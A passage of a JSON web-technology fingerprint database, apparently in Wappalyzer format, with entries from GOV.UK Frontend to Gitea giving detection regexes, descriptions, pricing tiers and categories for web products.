\"<a[^>]+govuk-link\\\\;confidence:10\"\n    ],\n    \"icon\": \"govuk.svg\",\n    \"js\": {\n      \"GOVUKFrontend\": \"\"\n    },\n    \"scriptSrc\": [\n      \"govuk-frontend(?:[^>]*?([0-9a-fA-F]{7,40}|[\\\\d]+(?:.[\\\\d]+(?:.[\\\\d]+)?)?)|)[^>]*?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://design-system.service.gov.uk/\"\n  },\n  \"GOV.UK Template\": {\n    \"cats\": [\n      66\n    ],\n    \"html\": [\n      \"<link[^>]+govuk-template[^>\\\"]+css\",\n      \"<link[^>]+govuk-template-print[^>\\\"]+css\",\n      \"<link[^>]+govuk-template-ie6[^>\\\"]+css\",\n      \"<link[^>]+govuk-template-ie7[^>\\\"]+css\",\n      \"<link[^>]+govuk-template-ie8[^>\\\"]+css\"\n    ],\n    \"icon\": \"govuk.svg\",\n    \"js\": {\n      \"GOVUK\": \"\"\n    },\n    \"scriptSrc\": [\n      \"govuk-template\\\\.js\"\n    ],\n    \"website\": \"https://github.com/alphagov/govuk_template/\"\n  },\n  \"GOV.UK Toolkit\": {\n    \"cats\": [\n      66\n    ],\n    \"icon\": \"govuk.svg\",\n    \"js\": {\n      \"GOVUK.details\": \"\",\n      \"GOVUK.modules\": \"\",\n      \"GOVUK.primaryLinks\": \"\"\n    },\n    \"website\": \"https://github.com/alphagov/govuk_frontend_toolkit\"\n  },\n  \"GPT AI Power\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"GPT AI Power is a WordPress plugin that offers a comprehensive AI package.\",\n    \"icon\": \"GPT AI Power.png\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/gpt3-ai-content-generator/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://gptaipower.com\"\n  },\n  \"GSAP\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"GSAP is an animation library that allows you to create animations with JavaScript.\",\n    \"icon\": \"GSAP.svg\",\n    \"js\": {\n      \"TweenLite.version\": \"([\\\\d.]+)\\\\;version:\\\\1\",\n      \"TweenMax.version\": \"([\\\\d.]+)\\\\;version:\\\\1\",\n      \"gsap.version\": \"([\\\\d.]+)\\\\;version:\\\\1\",\n      \"gsapVersions\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"TweenMax(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://greensock.com/gsap\"\n  },\n  \"GTranslate\": {\n    \"cats\": [\n      87,\n      89\n    ],\n    \"description\": \"GTranslate is a website translator which can translate any website to any language automatically.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/gtranslate/'], img[src*='/wp-content/plugins/gtranslate/']\"\n    ],\n    \"icon\": \"GTranslate.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://gtranslate.io\"\n  },\n  \"GTranslate app\": {\n    \"cats\": [\n      100,\n      89\n    ],\n    \"description\": \"GTranslate app is a website translator which can translate any website to any language automatically.\",\n    \"dom\": [\n      \"img[src*='gtranslate.io/shopify']\"\n    ],\n    \"icon\": \"GTranslate.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"scriptSrc\": [\n      \"gtranslate\\\\.io/shopify/\"\n    ],\n    \"website\": \"https://apps.shopify.com/multilingual-shop-by-gtranslate\"\n  },\n  \"GX WebManager\": {\n    \"cats\": [\n      1\n    ],\n    \"html\": [\n      \"<!--\\\\s+Powered by GX\"\n    ],\n    \"icon\": \"GX WebManager.svg\",\n    \"meta\": {\n      \"generator\": \"GX WebManager(?: ([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.gxsoftware.com/en/products/web-content-management.htm\"\n  },\n  \"Gallabox\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Gallabox is a tool that transforms WhatsApp into a web chat widget, facilitating management of leads, bookings, deals, and orders.\",\n    \"icon\": \"Gallabox.svg\",\n    \"js\": {\n      \"gbwawc\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://gallabox.com\"\n  },\n  \"Gallery\": {\n    \"cats\": [\n      7\n    ],\n    \"description\": \"Gallery is an open-source web based photo album organiser.\",\n    \"html\": [\n      \"<div id=\\\"gsNavBar\\\" class=\\\"gcBorder1\\\">\",\n      \"<a href=\\\"http://gallery\\\\.sourceforge\\\\.net\\\"><img[^>]+Powered by Gallery\\\\s*(?:(?:v|Version)\\\\s*([0-9.]+))?\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Gallery.png\",\n    \"js\": {\n      \"$.fn.gallery_valign\": \"\",\n      \"galleryAuthToken\": \"\"\n    },\n    \"website\": \"https://galleryproject.org/\"\n  },\n  \"Gambio\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Gambio is an all-in-one shopping cart solution for small to medium sized businesses.\",\n    \"html\": [\n      \"(?:<link[^>]* href=\\\"templates/gambio/|<a[^>]content\\\\.php\\\\?coID=\\\\d|<!-- gambio eof -->|<!--[\\\\s=]+Shopsoftware by Gambio GmbH \\\\(c\\\\))\"\n    ],\n    \"icon\": \"Gambio.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"gambio\": \"\"\n    },\n    \"scriptSrc\": [\n      \"gm_javascript\\\\.js\\\\.php\"\n    ],\n    \"website\": \"https://gambio.de\"\n  },\n  \"Gameball\": {\n    \"cats\": [\n      84\n    ],\n    \"description\": \"Gameball is a loyalty & retention platform that offers gamified customer engagement tools for customers such as rewards, points, and referrals.\",\n    \"icon\": \"Gameball.svg\",\n    \"js\": {\n      \"GbSdk.settings.shop\": \"\",\n      \"gbReferralCodeInput\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"payg\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.gameball\\\\.co/\"\n    ],\n    \"website\": \"https://www.gameball.co\"\n  },\n  \"Gator\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Gator is a platform that enables realtime user data collection, profiling and aggregation.\",\n    \"icon\": \"Gator.svg\",\n    \"js\": {\n      \"GatorLegacy\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://gator.io\"\n  },\n  \"Gatsby\": {\n    \"cats\": [\n      57,\n      12\n    ],\n    \"description\": \"Gatsby is a React-based open-source framework with performance, scalability and security built-in.\",\n    \"dom\": [\n      \"div#___gatsby, style#gatsby-inlined-css\"\n    ],\n    \"icon\": \"Gatsby.svg\",\n    \"implies\": [\n      \"React\",\n      \"Webpack\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Gatsby(?: ([0-9.]+))?$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.gatsbyjs.org/\"\n  },\n  \"Gatsby Cloud Image CDN\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"Image CDN is a new feature of hosting on Gatsby Cloud. Instead of processing images at build time, Image CDN defers and offloads image processing to the edge.\",\n    \"dom\": [\n      \"img[srcset*='/_gatsby/image/'], source[srcset*='/_gatsby/image/']\"\n    ],\n    \"icon\": \"Gatsby.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.gatsbyjs.com/products/cloud/image-cdn\"\n  },\n  \"Gauges\": {\n    \"cats\": [\n      10\n    ],\n    \"cookies\": {\n      \"_gauges_\": \"\"\n    },\n    \"description\": \"Gauges is a real-time web analytics tool that provides live traffic updates and essential metrics for websites.\",\n    \"icon\": \"Gauges.svg\",\n    \"js\": {\n      \"_gauges\": \"\"\n    },\n    \"website\": \"https://get.gaug.es\"\n  },\n  \"Gcore\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"Gcore is a public cloud and content delivery network (CDN) company.\",\n    \"headers\": {\n      \"x-id\": \"^[\\\\w-]+-gc\\\\d{2}$\",\n      \"x-id-fe\": \"^[\\\\w-]+-gc\\\\d{2}$\"\n    },\n    \"icon\": \"Gcore.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"website\": \"https://gcore.com\"\n  },\n  \"GeeTest\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"GeeTest is a CAPTCHA and bot management provider, protects websites, mobile apps, and APIs from automated bot-driven attacks, like ATO, credential stuffing, web scalping, etc.\",\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.geetest\\\\.com\"\n    },\n    \"icon\": \"GeeTest.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.geetest\\\\.com/\"\n    ],\n    \"website\": \"https://www.geetest.com\"\n  },\n  \"GemPages\": {\n    \"cats\": [\n      100,\n      51\n    ],\n    \"description\": \"GemPages is a powerful Shopify landing page buidler that empowers SMEs, agency, and freelancers to build their brands and sell online.\",\n    \"icon\": \"GemPages.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"GEMSTORE\": \"\",\n      \"GEMVENDOR\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/files/gempagev\\\\d+\\\\.js\"\n    ],\n    \"website\": \"https://gempages.net\"\n  },\n  \"Gemius\": {\n    \"cats\": [\n      10\n    ],\n    \"html\": [\n      \"<a [^>]*onclick=\\\"gemius_hit\"\n    ],\n    \"icon\": \"Gemius.png\",\n    \"js\": {\n      \"gemius_hit\": \"\",\n      \"gemius_init\": \"\",\n      \"gemius_pending\": \"\",\n      \"pp_gemius_hit\": \"\"\n    },\n    \"scriptSrc\": [\n      \"hit\\\\.gemius\\\\.pl/xgemius\\\\.js\",\n      \"hit\\\\.gemius\\\\.pl\\\\;confidence:80\",\n      \"xgemius\\\\.js\\\\;confidence:30\"\n    ],\n    \"website\": \"https://www.gemius.com\"\n  },\n  \"GeneXus\": {\n    \"cats\": [\n      27\n    ],\n    \"html\": [\n      \"<link[^>]+?id=\\\"gxtheme_css_reference\\\"\"\n    ],\n    \"icon\": \"GeneXus.svg\",\n    \"js\": {\n      \"gx.gxVersion\": \"^(.+)-.*$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"/static/gxgral\\\\.js\",\n      \"/static/gxtimezone\\\\.js\"\n    ],\n    \"website\": \"https://www.genexus.com/\"\n  },\n  \"GenerateBlocks\": {\n    \"cats\": [\n      87,\n      51\n    ],\n    \"description\": \"GenerateBlocks is a WordPress plugin that has the trappings of a page builder.\",\n    \"dom\": [\n      \"link#generateblocks-css\"\n    ],\n    \"icon\": \"GenerateBlocks.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://generateblocks.com\"\n  },\n  \"GeneratePress\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"GeneratePress is a lightweight WordPress theme that focuses on speed, stability, and accessibility\",\n    \"dom\": {\n      \"body[class*='generatepress-theme']\": {\n        \"text\": \"\"\n      },\n      \"link[id*='generate-style']\": {\n        \"attributes\": {\n          \"href\": \"generatepress\\\\S*\\\\.css(?:\\\\?ver=([0-9.]+))?\\\\;version:\\\\1\"\n        }\n      },\n      \"link[id*='generatepress']\": {\n        \"attributes\": {\n          \"href\": \"generatepress\\\\S*\\\\.css(?:\\\\?ver=([0-9.]+))?\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"generatepress.svg\",\n    \"js\": {\n      \"generatepressMenu\": \"\",\n      \"generatepressNavSearch\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"themes/generatepress\\\\S*\\\\.js(?:\\\\?ver=([0-9.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://generatepress.com\"\n  },\n  \"GeneratePress GP Premium\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"GP Premium is a premium add-on plugin for the GeneratePress WordPress theme.\",\n    \"icon\": \"generatepress.svg\",\n    \"implies\": [\n      \"GeneratePress\"\n    ],\n    \"pricing\": [\n      \"onetime\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/gp-premium/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://docs.generatepress.com/article/installing-gp-premium/\"\n  },\n  \"Genesis theme\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Genesis theme is a WordPress theme that has been developed using the Genesis Framework from Studiopress.\",\n    \"icon\": \"Genesis theme.svg\",\n    \"js\": {\n      \"genesisBlocksShare\": \"\",\n      \"genesis_responsive_menu\": \"\"\n    },\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/genesis/lib/js/\"\n    ],\n    \"website\": \"https://www.studiopress.com/themes/genesis\"\n  },\n  \"Genesys Chat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Genesys Chat is a customer engagement platform that facilitates real-time communication between businesses and their customers through web messaging and live chat functionalities.\",\n    \"icon\": \"Genesys Cloud.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.boldchat\\\\.com/\"\n    ],\n    \"website\": \"https://www.genesys.com/capabilities/live-chat-software\"\n  },\n  \"Genesys Cloud\": {\n    \"cats\": [\n      32,\n      75\n    ],\n    \"description\": \"Genesys Cloud is an all-in-one cloud-based contact center software built to improve the customer experience.\",\n    \"icon\": \"Genesys Cloud.svg\",\n    \"js\": {\n      \"PURECLOUD_WEBCHAT_FRAME_CONFIG\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"apps\\\\.mypurecloud\\\\.\\\\w+/widgets/([\\\\d.]+)\\\\;version:\\\\1\",\n      \"apps\\\\.mypurecloud\\\\.\\\\w+\"\n    ],\n    \"website\": \"https://www.genesys.com\"\n  },\n  \"GenieWords\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"GenieWords is a tool that simplifies the process of advertising with Google Ads.\",\n    \"icon\": \"GenieWords.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"admin\\\\.geniewords\\\\.com/\"\n    ],\n    \"website\": \"https://geniewords.com\"\n  },\n  \"Geniee\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Geniee is an ad technology company.\",\n    \"dom\": [\n      \"img[src*='.gssprt.jp/'], link[href*='.gssprt.jp']\"\n    ],\n    \"icon\": \"Geniee.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.gsspcln\\\\.jp/\"\n    ],\n    \"website\": \"https://geniee.co.jp\"\n  },\n  \"Gentoo\": {\n    \"cats\": [\n      28\n    ],\n    \"cpe\": \"cpe:2.3:o:gentoo:linux:*:*:*:*:*:*:*:*\",\n    \"description\": \"Gentoo is a free operating system based on Linux.\",\n    \"headers\": {\n      \"X-Powered-By\": \"gentoo\"\n    },\n    \"icon\": \"Gentoo.svg\",\n    \"website\": \"https://www.gentoo.org\"\n  },\n  \"Geo Targetly\": {\n    \"cats\": [\n      79\n    ],\n    \"description\": \"Geo Targetly is a website geo personalisation software.\",\n    \"icon\": \"Geo Targetly.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"geotargetly\\\\.co/\"\n    ],\n    \"website\": \"https://geotargetly.com\"\n  },\n  \"Gerrit\": {\n    \"cats\": [\n      47\n    ],\n    \"html\": [\n      \">Gerrit Code Review</a>\\\\s*\\\"\\\\s*\\\\(([0-9.]+)\\\\)\\\\;version:\\\\1\",\n      \"<(?:div|style) id=\\\"gerrit_\"\n    ],\n    \"icon\": \"gerrit.svg\",\n    \"implies\": [\n      \"Java\",\n      \"git\"\n    ],\n    \"js\": {\n      \"Gerrit\": \"\",\n      \"gerrit_ui\": \"\"\n    },\n    \"meta\": {\n      \"title\": \"^Gerrit Code Review$\"\n    },\n    \"scriptSrc\": [\n      \"^gerrit_ui/gerrit_ui\"\n    ],\n    \"website\": \"https://www.gerritcodereview.com\"\n  },\n  \"Get Satisfaction\": {\n    \"cats\": [\n      13\n    ],\n    \"icon\": \"Get Satisfaction.png\",\n    \"js\": {\n      \"GSFN\": \"\"\n    },\n    \"website\": \"https://getsatisfaction.com/corp/\"\n  },\n  \"GetButton\": {\n    \"cats\": [\n      5,\n      52\n    ],\n    \"description\": \"The chat button by GetButton takes website visitor directly to the messaging app such as Facebook Messenger or WhatsApp and allows them to initiate a conversation with you.\",\n    \"icon\": \"GetButton.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.getbutton\\\\.io/\"\n    ],\n    \"website\": \"https://getbutton.io\"\n  },\n  \"GetChat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"GetChat is a platform enabling communication with website visitors via preferred messaging applications.\",\n    \"icon\": \"GetChat.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"getchat\\\\.app/\"\n    ],\n    \"website\": \"https://getchat.app\"\n  },\n  \"GetFeedback\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"GetFeedback (formerly Usabilla) is a user feedback solution for collecting qualitative and quantitative user feedback across digital channels including websites, apps and emails.\",\n    \"icon\": \"GetFeedback.svg\",\n    \"js\": {\n      \"usabilla_live\": \"\"\n    },\n    \"website\": \"https://www.getfeedback.com\"\n  },\n  \"GetMeAShop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"GetMeAShop is a cloud-based ecommerce solution for small and midsize businesses across industries such as retail and manufacturing.\",\n    \"dom\": [\n      \"link[href*='.getmeashop.com']\"\n    ],\n    \"icon\": \"GetMeAShop.png\",\n    \"js\": {\n      \"gmas_base_url\": \"'\\\\.getmeashop\\\\.com\",\n      \"search_api_base_uri\": \"search\\\\.getmeashop\\\\.com\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.getmeashop.com\"\n  },\n  \"GetResponse\": {\n    \"cats\": [\n      32,\n      75\n    ],\n    \"description\": \"GetResponse is an email marketing app that allows you to create a mailing list and capture data onto it.\",\n    \"dom\": [\n      \"form[action*='.getresponse.com/']\"\n    ],\n    \"icon\": \"GetResponse.svg\",\n    \"js\": {\n      \"GRAPP\": \"\",\n      \"GRWF2\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.getresponse\\\\.com/\"\n    ],\n    \"website\": \"https://www.getresponse.com\"\n  },\n  \"GetRooster\": {\n    \"cats\": [\n      98\n    ],\n    \"description\": \"GetRooster is a system designed to optimise the conversion of abandoning visitors.\",\n    \"js\": {\n      \"_GT_config.gt_host\": \"//app\\\\.getrooster\\\\.com/\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//app\\\\.getrooster\\\\.com/\"\n    ],\n    \"website\": \"https://www.getrooster.com\"\n  },\n  \"GetSimple CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:get-simple:getsimple_cms:*:*:*:*:*:*:*:*\",\n    \"icon\": \"GetSimple CMS.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"GetSimple\"\n    },\n    \"website\": \"https://get-simple.info\"\n  },\n  \"GetSocial\": {\n    \"cats\": [\n      69,\n      10\n    ],\n    \"description\": \"GetSocial is a social analytics and publishing platform.\",\n    \"icon\": \"GetSocial.png\",\n    \"js\": {\n      \"GETSOCIAL_VERSION\": \"(.+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.at\\\\.getsocial\\\\.io\"\n    ],\n    \"website\": \"https://getsocial.io\"\n  },\n  \"GetTerms\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"GetTerms is a tool that generates privacy policies for web platforms.\",\n    \"icon\": \"GetTerms.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"onetime\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.getterms\\\\.io\"\n    ],\n    \"website\": \"https://getterms.io\"\n  },\n  \"GetYourGuide\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"GetYourGuide is a Berlin-based online travel agency and online marketplace for tour guides and excursions.\",\n    \"dom\": {\n      \"a[href*='.getyourguide.']\": {\n        \"attributes\": {\n          \"href\": \"\\\\.getyourguide\\\\.\\\\w+/\\\\?partner_id=\"\n        }\n      },\n      \"img[src*='cdn.getyourguide.com/']\": {\n        \"attributes\": {\n          \"src\": \"\"\n        }\n      },\n      \"link[href*='cdn.getyourguide.com/']\": {\n        \"attributes\": {\n          \"src\": \"\"\n        }\n      }\n    },\n    \"icon\": \"GetYourGuide.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.getyourguide\\\\.com/\"\n    ],\n    \"website\": \"https://partner.getyourguide.com\"\n  },\n  \"Getintent\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Getintent is an adtech company that offers AI-powered programmatic suite for agencies, publishers, broadcasters and content owners.\",\n    \"icon\": \"Getintent.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://getintent.com\",\n    \"xhr\": [\n      \"\\\\.adhigh\\\\.net\"\n    ]\n  },\n  \"Getro\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Gentro is an automated job board and private talent network that removes the manual effort of linking individuals and companies within a network.\",\n    \"icon\": \"Getro.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"an\\\\.getro\\\\.com/\"\n    ],\n    \"website\": \"https://www.getro.com\"\n  },\n  \"Getsitecontrol\": {\n    \"cats\": [\n      5,\n      73\n    ],\n    \"description\": \"Getsitecontrol is a form and popup builder.\",\n    \"icon\": \"Getsitecontrol.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.getsitecontrol\\\\.com/\"\n    ],\n    \"website\": \"https://getsitecontrol.com\"\n  },\n  \"Ghost\": {\n    \"cats\": [\n      1,\n      11\n    ],\n    \"description\": \"Ghost is a powerful app for new-media creators to publish, share, and grow a business around their content.\",\n    \"headers\": {\n      \"X-Ghost-Cache-Status\": \"\"\n    },\n    \"icon\": \"Ghost.svg\",\n    \"implies\": [\n      \"Node.js\"\n    ],\n    \"meta\": {\n      \"generator\": \"Ghost(?:\\\\s([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://ghost.org\"\n  },\n  \"Gigalixir\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Gigalixir is a PaaS focused on deployments of Elixir and Phoenix web apps\",\n    \"icon\": \"Gigalixir.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"url\": [\n      \"\\\\.gigalixirapp\\\\.com\"\n    ],\n    \"website\": \"https://gigalixir.com/\"\n  },\n  \"Gijgo\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Gijgo is a set of free for commercial use javascript controls.\",\n    \"icon\": \"Gijgo.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/gijgo@([\\\\d\\\\.]+)/js/gijgo\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://gijgo.com\"\n  },\n  \"Giscus\": {\n    \"cats\": [\n      15\n    ],\n    \"description\": \"Giscus is a comment system powered by GitHub Discussions.\",\n    \"dom\": [\n      \"link[href*='giscus.app'], div[class^='giscus-container']\"\n    ],\n    \"icon\": \"Giscus.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://giscus.app\"\n  },\n  \"Gist\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Gist is email marketing automation, live chat, and helpdesk software.\",\n    \"icon\": \"gist_live_chat.svg\",\n    \"js\": {\n      \"gist.options.versionNumber\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.getgist\\\\.com\"\n    ],\n    \"website\": \"https://getgist.com/live-chat\"\n  },\n  \"Gist Giftship\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Gist Giftship is a gifting app on Shopify that allows your customers to complete all of their gift shopping at once.\",\n    \"icon\": \"Gist.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets/js/giftship\\\\.([\\\\d\\\\.]+)\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://gist-apps.com/giftship\"\n  },\n  \"GitBook\": {\n    \"cats\": [\n      4\n    ],\n    \"cpe\": \"cpe:2.3:a:gitbook:gitbook:*:*:*:*:*:*:*:*\",\n    \"description\": \"GitBook is a command-line tool for creating documentation using Git and Markdown.\",\n    \"icon\": \"GitBook.svg\",\n    \"js\": {\n      \"__GITBOOK_INITIAL_PROPS__\": \"\",\n      \"__GITBOOK_INITIAL_STATE__\": \"\",\n      \"__GITBOOK_LAZY_MODULES__\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"GitBook ([\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"url\": [\n      \"^https?://[^/]+\\\\.gitbook\\\\.com/\"\n    ],\n    \"website\": \"https://www.gitbook.com\"\n  },\n  \"GitHub Pages\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"GitHub Pages is a static site hosting service.\",\n    \"headers\": {\n      \"Server\": \"^GitHub\\\\.com$\",\n      \"X-GitHub-Request-Id\": \"\"\n    },\n    \"icon\": \"GitHub.svg\",\n    \"url\": [\n      \"^https?://[^/]+\\\\.github\\\\.io\"\n    ],\n    \"website\": \"https://pages.github.com/\"\n  },\n  \"GitLab\": {\n    \"cats\": [\n      13,\n      47\n    ],\n    \"cookies\": {\n      \"_gitlab_session\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:*\",\n    \"description\": \"GitLab is a web-based DevOps lifecycle tool that provides a Git-repository manager providing wiki, issue-tracking and continuous integration and deployment pipeline features, using an open-source license.\",\n    \"html\": [\n      \"<meta content=\\\"https?://[^/]+/assets/gitlab_logo-\",\n      \"<header class=\\\"navbar navbar-fixed-top navbar-gitlab with-horizontal-nav\\\">\"\n    ],\n    \"icon\": \"GitLab.svg\",\n    \"implies\": [\n      \"Ruby on Rails\",\n      \"Vue.js\"\n    ],\n    \"js\": {\n      \"GitLab\": \"\",\n      \"gl.dashboardOptions\": \"\"\n    },\n    \"meta\": {\n      \"og:site_name\": \"^GitLab$\"\n    },\n    \"website\": \"https://about.gitlab.com\"\n  },\n  \"GitLab CI/CD\": {\n    \"cats\": [\n      44,\n      47\n    ],\n    \"icon\": \"GitLab.svg\",\n    \"implies\": [\n      \"Ruby on Rails\"\n    ],\n    \"meta\": {\n      \"description\": \"GitLab CI/CD is a tool built into GitLab for software development through continuous methodologies.\"\n    },\n    \"website\": \"https://about.gitlab.com/gitlab-ci\"\n  },\n  \"Gitea\": {\n    \"cats\": [\n      47\n    ],\n    \"cookies\": {\n      \"i_like_gitea\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*\",\n    \"description\": \"Gitea is an open-source forge software package for hosting software development version control using Git as well as other collaborative features like bug tracking, wikis and code review. It supports self-hosting but also provides a free public first-party instance hosted on DiDi's cloud.\",\n    \"html\": [\n      \"<div class=\\\"ui left\\\">\\\\n\\\\s+© Gitea Version: 